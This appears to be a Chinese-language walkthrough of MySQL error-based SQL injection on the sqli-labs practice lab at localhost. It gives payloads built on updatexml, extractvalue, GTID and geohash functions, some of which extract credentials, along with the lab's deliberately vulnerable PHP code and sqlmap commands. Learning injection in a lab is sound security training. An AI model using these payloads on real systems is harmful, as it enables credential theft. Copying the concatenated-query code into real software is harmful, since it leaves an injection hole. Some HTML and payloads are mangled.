目录
1)ST_LatFromGeoHash (mysql>=5.7.x)
2)ST_LongFromGeoHash (mysql>=5.7.x)
3)GTID (MySQL >= 5.6.X - 显错<=200)
4)ST_Pointfromgeohash (mysql>=5.7)
and ST_LatFromGeoHash(concat(0x7e,(),0x7e))--+
and ST_LongFromGeoHash(concat(0x7e,(),0x7e))--+
GTID是MySQL数据库每次提交事务后生成的一个全局事务标识符,GTID不仅在本服务器上是唯一的,其在复制拓扑中也是唯一的
GTID_SUBSET() 和 GTID_SUBTRACT()函数
GTID_SUBSET() 和 GTID_SUBTRACT() 函数,我们知道他的输入值是 GTIDset ,当输入有误时,就会报错。
GTID_SUBSET( set1 , set2 ) - 若在 set1 中的 GTID,也在 set2 中,返回 true,否则返回 false ( set1 是 set2 的子集)
GTID_SUBTRACT( set1 , set2 ) - 返回在 set1 中,不在 set2 中的 GTID 集合 ( set1 与 set2 的差集)
GTID_SUBSET函数
') or gtid_subset(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+
GTID_SUBTRACT
') or gtid_subtract(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+
or (select 1 from (select count(*),concat(0x7e,(),0x7e,floor(rand(0) * 2))x from information_schema.tables group by x)a)--+
or (select 1 from (select count(*),concat(0x7e,(),0x7e,floor(rand(0) * 2))x from information_schema.tables group by x)a)--+
and extractvalue(1,concat(0x7e,())) --+一共可以接收两个参数,报错位置在第二个参数
and updatexml(1,concat(0x7e,(),0x7e),1) --+一共可以接收三个参数,报错位置在第二个参数.
- html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
- <html xmlns="http://www.w3.org/1999/xhtml">
- <head>
- <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
- <title>Less-1 **Error Based- String**title>
- head>
-
- <body bgcolor="#000000">
- <div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan font><br>
- <font size="3" color="#FFFF00">
-
-
- //including the Mysql connect parameters.
- include("../sql-connections/sql-connect.php");
- error_reporting(0);
- // take the variables
- if(isset($_GET['id']))
- {
- $id=$_GET['id'];
- //logging the connection parameters to a file for analysis.
- $fp=fopen('result.txt','a');
- fwrite($fp,'ID:'.$id."\n");
- fclose($fp);
- // connectivity
- $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
- $result=mysql_query($sql);
- $row = mysql_fetch_array($result);
- if($row)
- {
- echo "";
- echo 'Your Login name:'. $row['username'];
- echo "
"; - echo 'Your Password:' .$row['password'];
- echo "";
- }
- else
- {
- echo '';
- print_r(mysql_error());
- echo "";
- }
- }
- else { echo "Please input the ID as parameter with numeric value";}
- ?>
- font> div>br>br>br><center>
- <img src="../images/Less-1.jpg" />center>
- body>
- html>
-
-
-
-
-
-
http://127.0.0.1/sqllabc/Less-1/?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20user()),0x7e),1)--+http://127.0.0.1/sqllabc/Less-1/?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1)--+http://127.0.0.1/sqllabc/Less-1/?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20user()),0x7e),1)--+

http://127.0.0.1/sqllabc/Less-1/?id=1%27%20order%20by%203--+

由于报错,子查询超过一行,需要修改的结果如下:
5)截取数据库的表名
- html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
- <html xmlns="http://www.w3.org/1999/xhtml">
- <head>
- <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
- <title>Less-2 **Error Based- Intiger**title>
- head>
-
- <body bgcolor="#000000">
-
-
-
-
- <div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan font><br>
- <font size="3" color="#FFFF00">
-
-
- //including the Mysql connect parameters.
- include("../sql-connections/sql-connect.php");
- error_reporting(0);
- // take the variables
- if(isset($_GET['id']))
- {
- $id=$_GET['id'];
- //logging the connection parameters to a file for analysis.
- $fp=fopen('result.txt','a');
- fwrite($fp,'ID:'.$id."\n");
- fclose($fp);
- // connectivity
- $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
- $result=mysql_query($sql);
- $row = mysql_fetch_array($result);
- if($row)
- {
- echo "";
- echo 'Your Login name:'. $row['username'];
- echo "
"; - echo 'Your Password:' .$row['password'];
- echo "";
- }
- else
- {
- echo '';
- print_r(mysql_error());
- echo "";
- }
- }
- else
- {
- echo "Please input the ID as parameter with numeric value";
- }
- ?>
-
-
- font> div>br>br>br><center>
- <img src="../images/Less-2.jpg" />center>
- body>
- html>
C:\Python27\sqlmap>python sqlmap.py -u http://127.0.0.1/sqllabc/Less-2/?id=1

SQLMap在50个HTTP(s)请求中识别出了以下注入点

C:\Python27\sqlmap>python sqlmap.py -u http://127.0.0.1/sqllabc/Less-2/?id=1 --dbs

C:\Python27\sqlmap>python sqlmap.py -u http://127.0.0.1/sqllabc/Less-2/?id=1 -D security --tables
